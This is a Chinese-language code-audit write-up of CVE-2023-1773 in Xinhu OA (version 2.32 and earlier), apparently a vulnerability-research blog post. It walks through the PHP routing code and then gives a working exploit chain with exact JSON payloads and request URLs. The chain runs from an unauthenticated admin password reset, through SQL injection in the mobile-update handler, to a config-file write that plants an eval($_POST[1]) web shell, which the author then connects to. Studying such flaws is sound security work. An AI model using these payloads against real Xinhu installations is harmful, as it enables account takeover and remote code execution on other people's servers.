代码审计:CVE-2023-1773

产品:信呼oa

影响版本:<=2.32

开源地址:https://github.com/rainrocka/xinhu/commits/master/

首先我们先起好docker镜像,默认登录账号名为admin,密码为123456

开始代码审计

最最开始的时候,我们当然要看index.php的代码(代码块中的大部分注释为我自己写入进去的理解)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
include_once('config/config.php');
$_uurl = $rock->get('rewriteurl');
$d = '';
$m = 'index';
$a = 'default';
if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);//释放变量m,d,a
$m = $_uurl;
$_uurla = explode('_', $_uurl);//以_来分割变量$_uurl为数组$_uurla
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);//以?分割成URI的路径部分和查询字符串部分并赋给数组$_uurla
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);//查询字符串部分用&来分割,比如是'foo=bar&baz=qux'被分割
foreach($_uurla as $_uurlas){//每个元素都是一个键值对
$_uurlasa = explode('=', $_uurlas);//用=分割成键和值两部分
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
//如果有值,键是$_uurlasa[0],值是$_uurlasa[1].比如$_GET['foo'] = 'bar'
}
}//遍历
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

$_SERVER['REQUEST_URI']:

  • $_SERVER 是一个超全局变量,它包含了关于服务器环境和请求的信息。
  • 'REQUEST_URI'$_SERVER 数组中的一个键,它包含了当前请求的URI。例如,如果用户访问的是 http://example.com/path/to/page?foo=bar,那么 $_SERVER['REQUEST_URI'] 的值就是 /path/to/page?foo=bar

看完该份文件后我们需要注意三个变量:$m,$d,$a,以及该行代码$_uurl = $rock->get('rewriteurl');,思考其中的get()方法是什么,让我们溯源下去,该方法相关代码如下:

1
2
3
4
5
6
7
8
9
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
//isempt函数:如果传入字符为空并且不是数字,则返回true
return $this->jmuncode($val, $lx, $name);
//对特殊字符进行编码,空格消去,预防xss
}

通过该方法获取GET传参中的值,并对xss进行了一定程度的预防

在index.php中末尾部分代码还包含了文件View.php,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);

define('M', $m);//将$m的值赋给常量M
define('A', $a);
define('D', $d);
define('P', $p);

$_m = $m;
if($rock->contain($m, '|'))//如果$m包含'|'且不在开头,返回true
{
$_mas = explode('|', $m);//通过|分割成两部分
$m = $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
//经过strformat函数后变为了ROOT_PATH/".$p."/".$p."Action.php
$rand = date('YmdHis').rand(1000,9999);//当天的日期时间和随机数拼接在一起
if(substr($d,-1)!='/' && $d!='')$d.='/';//$d的最后一个字符不是斜杠并且字符串不为空,则将/添加到$d的末尾
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//ROOT_PATH/".$p."/".$d."".$_m
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actpath/".$m."Action.php
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actpath/".$_m."Action.php
$actbstr = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);//包含的文件可控
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname))//$xhrock类中是否存在$actname方法,存在为true
{
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();//直接调用该方法
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}//结果是否为字符串,打印结果
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}//结果是否为数组,打印结果
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}

$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false'))//条件满足,执行模板渲染
{
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}

对于ROOT_PATH的分析:

1
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));	//系统根目录路径

该常量会默认为是系统的根目录

对于PROJECT的分析:

1
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));

上述代码说明了要是变量p没有值那么会默认为webmain,常量PROJECT的值便为webmain目录

文件\include\Action.php中public $smartydata = array(); //模版数据说明了$smartydata为模板数据数组(用不到)

下面为两个比较重要的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function strformat($str)
{
$len = func_num_args();//func_num_args()得到传入该函数的参数数量并传给$len
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);//从第二个参数开始添加到数组$arr的末尾
//为什么从i=1开始?因为格式化字符串函数传入的第一个参数是含占位符的待格式化字符串
$s = $this->stringformat($str, $arr);
return $s;
}
......
......
public function stringformat($str, $arr=array())
{
$s = $str;
for($i=0; $i<count($arr); $i++){
$s=str_replace('?'.$i.'', $arr[$i], $s);
//占位符为'?'加上一个数字代表用后面第几个参数来填充该位置
}
return $s;
}

通过对$m,$a,$d三个变量值的控制,我们可以实现包含我们自己想要包含的任意文件,并调用我们自己需要的方法,比如

这里有个一路径中的变量$actpath,被两个下文被包含住的变量$actfile以及$actfile1给拼接,弄明白是如何构造的:

用ROOT_PATH,$p,$d,$_m分别填充前面的一个格式化路径

$_m我们可以控制GET传入m参数时’|’字符两边的字符串来控制,$p和ROOT_PATH,$d在上面存在一个简单的处理,如果不是以’/‘结尾就给他加上’/‘

总结起来,假设我们的根目录是/var/www/html/,传入p=webmain&d=task&m=file|api

那么$actpath就是”/var/www/html/webmain/task/api”

紧接着下面的$actfile就是”/var/www/html/webmain/task/api/fileAction.php”

其实actfile1我们并不能做到真正完全的可控,因为其最后的拼接是$_m.$_m,就意味着最后包含的php文件的前缀名必须与上级目录相同,具有一定的局限性,这里我们侧重观察actfile被包含后的操作(实际上actfile1被包含后也确实并没有进行更多的操作了),接下来的分析围绕着actfile,$classname变量由$a和”ClassAction”拼接起来,$a可控。,$actname变量由$a和”Action”拼接起来,$a可控。如果ajaxbool为true那么$actname由$a和”Ajax”拼接,$ajaxbool可控(前文提到控制GET传参)。然后new一个名为$classname的值的类,判断该对象中是否存在名为$actname的方法,如果存在,就执行并把结果echo出来

寻找漏洞

修改密码

接下来我们的工作就是要找到一个可以利用的类中的方法,这个时候我们注意到了\webmain\task\api\reimplatAction.php,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php 
class reimplatClassAction extends apiAction{

public function initAction()
{
$this->display= false;
}

//平台上通知过来的数据
public function indexAction()
{
$body = $this->getpostdata();//下面篇幅中有关于该方法的具体代码,无任何过滤
if(!$body)return;
$db = m('reimplat:dept');
$key = $db->gethkey();//密钥,不需要关注
$bodystr = $this->jm->strunlook($body, $key);
if(!$bodystr)return;

$data = json_decode($bodystr, true);
$msgtype = arrvalue($data,'msgtype');
$msgevent= arrvalue($data,'msgevent');

//用户状态改变停用
if($msgtype=='subscribe'){
$user = arrvalue($data, 'user');
$zt = '0';
if($msgevent=='yes')$zt = '1';
if($msgevent=='stop')$zt = '2';
$db->update('`status`='.$zt.'',"`user`='$user'");
}

//修改手机号
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");
}

//修改密码
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');
$pass = arrvalue($data, 'pass');
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
}
}//感觉可以操作一下
}
}

上述代码中的getpostdata函数:

1
2
3
4
5
6
7
8
public function getpostdata()
{
$postdata = '';
if(isset($GLOBALS['HTTP_RAW_POST_DATA']))$postdata = $GLOBALS['HTTP_RAW_POST_DATA'];
if($postdata=='')$postdata = trim(file_get_contents('php://input'));
//trim方法去除字符串首尾处的空白字符
return $postdata;
}

发现很有用的地方,该函数没有任何过滤,并且通过php://input伪协议来获取POST进去的数据,可以利用一下

对于strunlook()方法,我们溯源后发现是一个字符串解密的函数,位于/include/chajian/jmChajian.php文件中,溯源过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$bodystr = $this->jm->strunlook($body, $key);
//溯源this->jm
$this->jm = c('jm', true);//Action.php
//继续溯源c方法
function c($name, $inbo=true, $param1='', $param2='')
{
$class = ''.$name.'Chajian';
$path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
$cls = NULL;
if(file_exists($path)){
include_once($path);
if($inbo)$cls = new $class($param1, $param2);
}
return $cls;
}//位于rockFun.php
//该方法会包含文件$nameChajian.php,这里我们要溯源到jmChajian.php,找到了strunlook方法(对数据简单解密)

在reimplatAction.php中,我们可以利用indexAction()方法,通过它来修改账户的密码

所以现在的思路:传入加密后的json数据,让后台进行自动解密,通过输入相应的键值对来修改密码

因此json数据中我们需要的键值对如下:

1
{"msgtype":"editpass","user":"admin","pass":"admin"}

首先我们在本地测试的时候需要在reimplatAction.php文件中的添加相关代码,从而获取到加密后的json数据,如下:

image-20240709153134844

利用bp抓包,然后进行操作:get传参?p=webmain&d=task&m=reimplat|api&a=index,接着再加我们所需的json代码,如下:

image-20240709153326001

得到加密后的json内容,继续操作:
image-20240709153411987

由于输入的是加密后的json内容,后台会自动解码配对修改账户密码,这样子我们就成功修改了admin的密码

退出账号,输入修改后的密码,成功登录

实现rce

但是这样子的话我们仅仅能做到的也就是修改修改账户的密码,不应满足于此,继续查看代码

在/webmain/system/cog/cogAction.php下:

cogClassAction::savecongAjax()方法中有一处文件写入,只要可以控制$adminname就可以控制任意文件写入

对$adminname进行溯源,发现此字段会从数据库中取admin的name,所以我们只需要找到一个注入点,成功注入便可以利用

image-20240711094848672

原本我们输入的$adminname会被注释掉,而我们需要摆脱被注释掉的命运,所以要在输入内容的开头来上一个/n进行换行,同时在末尾加上//使得后续不是我们输入的内容全被注释掉

实质上我们输入的为字符串,并且该字符串会写入一个文件中,成功写入回显ok

对$_confpath进行溯源,具体代码为$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);

发现$thia->adminname其实就是写入配置文件webmainConfig.php中

image-20240711095345072

然后我们对reimplatAction.php文件中的m方法进行溯源,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function m($name)
{
$cls = NULL;
$pats = $nac = '';
$nas = $name;
$asq = explode(':', $nas);
if(count($asq)>1){
$nas = $asq[1];
$nac = $asq[0];
$pats = $nac.'/';
$_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
if(file_exists($_pats)){
include_once($_pats);
$class = ''.$nac.'Model';
$cls = new $class($nas);
}
}
$class = ''.$nas.'ClassModel';
$path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
if(file_exists($path)){
include_once($path);
if($nac!='')$class= $nac.'_'.$class;
$cls = new $class($nas);
}
if($cls==NULL)$cls = new sModel($nas);
return $cls;
}

可以得到该方法是把/webmain/model/下的php文件包含起来了

m方法的参数是$name,实际上我们操作的表名是xinhu_$name

综上,我选择的是reimplatAction.php文件中的修改mobile处,从那里下手进行sql注入,这样子我们就需要溯源到底层的update()方法,明白其具体的sql语句,从而进行绕过

最底层的update方法如下所示:

1
2
3
4
5
6
public function update($table,$content,$where)
{
$where = $this->getwhere($where);
$sql="update `$table` set $content where $where ";
return $this->tranbegin($sql);
}

在文件中的已经指定了$table的内容,即admin和其他两个表,$where的内容为="user='$user'",$content在具体代码中即$upstr,即= "mobile='$mobile'";,因此我们传入的json数据需为以下格式:

1
{"msgtype":"editmobile","user":"","mobile":""}

在sql文件中看到xinhu_admin表中的mobile字段处是输入字符串,因此我们需要逃出单引号包裹

并且我们要改的字段名为name,也是需要输入字符串的

最终我们需要传入的json数据如下:

1
{"msgtype":"editmobile","user":"admin","mobile":"123',name='\nphpinfo();//"}

image-20240711100321331

然后再把加密后的json文件再传一遍,查看xinhu_admin表,可以看见admin的name已经发生了改变

image-20240711100756075

接着我们查看配置文件,发现并没有任何修改,这是为什么

这是因为我们还没有调用$adminname所属的savecongAjax()方法,变量还没有被写入配置文件中

所以我们在重新登陆后需要包含的内容如下:

1
?p=webmain&d=system&m=cog|cog&ajaxbool=true&a=savecong

成功包含

image-20240711101908477

再刷新一遍页面,如下:

image-20240710155639752

成功实现了phpinfo(),这也说明了我们可以实现rce了,但是要注意name字段有长度限制,所以一句话木马不能够太长

接着实现rce,更改json文件如下:

1
{"msgtype":"editmobile","user":"admin","mobile":"123',name='\neval($_POST[1]);//"}

剩下的操作和上面实现phpinfo()的操作一模一样,然后我们尝试用蚁剑连接

image-20240711103033714

成功连接上,实现rce